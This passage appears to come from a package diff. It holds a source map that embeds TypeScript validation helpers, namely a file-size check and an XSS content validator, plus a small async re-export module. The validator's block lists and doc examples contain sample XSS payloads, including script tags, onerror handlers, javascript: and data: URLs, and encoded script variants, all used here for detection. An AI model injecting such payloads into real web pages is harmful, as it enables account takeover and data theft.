docSize = 12 * MB\n * isValidFileSize(docSize, 10 * MB) // false (exceeds limit)\n *\n * // Video upload validation (1 GB limit)\n * const videoSize = 500 * MB\n * isValidFileSize(videoSize, 1 * GB) // true\n *\n * // Invalid sizes\n * isValidFileSize(-100, 1 * MB) // false (negative size)\n * isValidFileSize(NaN, 1 * MB) // false (invalid number)\n * isValidFileSize('1000' as any, 1 * MB) // false (not a number)\n *\n * // Real-world usage in file upload handler\n * app.post('/upload', (req, res) => {\n * const file = req.files.document\n * const maxSize = 10 * 1024 * 1024 // 10 MB\n *\n * if (!isValidFileSize(file.size, maxSize)) {\n * return res.status(413).json({\n * error: 'File too large',\n * maxSize: '10 MB',\n * received: `${(file.size / (1024 * 1024)).toFixed(2)} MB`\n * })\n * }\n *\n * // Process file...\n * })\n * ```\n *\n * @see {@link isValidFilePath} for path security validation\n */\nexport function isValidFileSize(size: number, maxSize: number): boolean {\n return typeof size === 'number' && size >= 0 && size <= maxSize\n}\n\n/**\n * Validates text content for security vulnerabilities and size limits\n *\n * Performs basic security checks on text content to detect common XSS attack vectors:\n * - Script tags (<script>)\n * - JavaScript URLs (javascript:)\n * - Data URLs with HTML (data:text/html)\n * - VBScript URLs (vbscript:)\n *\n * Also enforces maximum content length to prevent DoS attacks.\n *\n * ⚠️ WARNING: This is basic XSS detection. For production systems:\n * - Use dedicated sanitization libraries (DOMPurify, sanitize-html)\n * - Implement Content Security Policy (CSP)\n * - Apply output encoding based on context (HTML, JS, URL)\n * - Validate against allowlists, not just blocklists\n *\n * @param content - Text content to validate\n * @param options - Validation options\n * @param options.maxLength - Maximum content length in characters (default: 1,000,000)\n * @returns True if content appears safe, false if dangerous patterns detected\n *\n * @example\n * ```typescript\n * // Safe content - Allowed\n * isValidTextContent('Hello, world!') // true\n * isValidTextContent('User input: <b>bold</b>') // true\n * isValidTextContent('Email: user@example.com') // true\n *\n * // Dangerous content - XSS vectors detected\n * isValidTextContent('<script>alert(\"XSS\")</script>') // false\n * isValidTextContent('<img src=x onerror=\"alert(1)\">') // false (contains 'script' in onerror)\n * isValidTextContent('<a href=\"javascript:void(0)\">') // false\n * isValidTextContent('<iframe src=\"data:text/html,...\"') // false\n * isValidTextContent('vbscript:msgbox(\"XSS\")') // false\n *\n * // Size limit validation\n * isValidTextContent('x'.repeat(999_999)) // true (under default 1M limit)\n * isValidTextContent('x'.repeat(1_000_001)) // false (exceeds default limit)\n * isValidTextContent('x'.repeat(5000), { maxLength: 1000 }) // false (custom limit)\n *\n * // Edge cases\n * isValidTextContent('') // true (empty is valid)\n * isValidTextContent(null as any) // false (not a string)\n * isValidTextContent(undefined as any) // false (not a string)\n * isValidTextContent(123 as any) // false (not a string)\n *\n * // Real-world usage in comment system\n * app.post('/api/comments', (req, res) => {\n * const { content } = req.body\n *\n * if (!isValidTextContent(content, { maxLength: 5000 })) {\n * return res.status(400).json({\n * error: 'Invalid comment content',\n * details: 'Content contains dangerous patterns or exceeds 5000 characters'\n * })\n * }\n *\n * // Additional sanitization recommended\n * const sanitized = DOMPurify.sanitize(content)\n *\n * // Save to database...\n * })\n * ```\n *\n * @example\n * ```typescript\n * // Form validation with custom limits\n * function validateUserBio(bio: string): { valid: boolean; error?: string } {\n * if (!isValidTextContent(bio, { maxLength: 500 })) {\n * return {\n * valid: false,\n * error: 'Bio must be less than 500 characters and cannot contain scripts'\n * }\n * }\n * return { valid: true }\n * }\n * ```\n *\n * @see {@link isValidFilePath} for file path validation\n * @see sanitizeHtml from validation module for HTML sanitization\n */\nexport function isValidTextContent(content: string, options: { maxLength?: number } = {}): boolean {\n const { maxLength = 1_000_000 } = options\n\n // ✅ Type validation\n if (typeof content !== 'string') return false\n\n // ✅ Length validation (DoS prevention)\n if (content.length > maxLength) return false\n\n const lowerContent = content.toLowerCase()\n\n // ✅ Script tag detection (case-insensitive, with variants)\n const scriptPatterns = ['<script', '</script', '<scr<script>ipt', '<scr\\x00ipt']\n if (scriptPatterns.some(pattern => lowerContent.includes(pattern))) return false\n\n // ✅ Event handler attributes (XSS vectors)\n const eventHandlers = [\n 'onerror',\n 'onload',\n 'onclick',\n 'onmouseover',\n 'onfocus',\n 'onblur',\n 'oninput',\n ]\n if (eventHandlers.some(handler => lowerContent.includes(handler))) return false\n\n // ✅ Protocol handlers (javascript:, data:, vbscript:, file:)\n const protocolPatterns = [\n 'javascript:',\n 'data:text/html',\n 'data:text/javascript',\n 'data:application',\n 'vbscript:',\n 'file:///',\n 'steam://',\n 'slack://',\n ]\n if (protocolPatterns.some(pattern => lowerContent.includes(pattern))) return false\n\n // ✅ Encoded script attempts\n const encodedPatterns = [\n '&#60;script', // &#60; = <\n '%3cscript', // %3c = <\n '\\\\x3cscript', // \\x3c = <\n '\\\\u003cscript', // \\u003c = <\n ]\n if (encodedPatterns.some(pattern => lowerContent.includes(pattern))) return false\n\n // ✅ SVG-based XSS\n if (lowerContent.includes('<svg') && lowerContent.includes('onload')) return false\n\n // ✅ iframe injection\n if (lowerContent.includes('<iframe')) return false\n\n return true\n}\n"],"mappings":"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","names":[]}
@@ -0,0 +1,15 @@
1
+ import {
2
+ handleOperation,
3
+ runBatch,
4
+ sleep,
5
+ wait
6
+ } from "./chunk-LYTET5NX.js";
7
+ import "./chunk-75XNTC34.js";
8
+ import "./chunk-PZ5AY32C.js";
9
+ export {
10
+ handleOperation,
11
+ runBatch,
12
+ sleep,
13
+ wait
14
+ };
15
+ //# sourceMappingURL=async.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":[],"sourcesContent":[],"mappings":"","names":[]}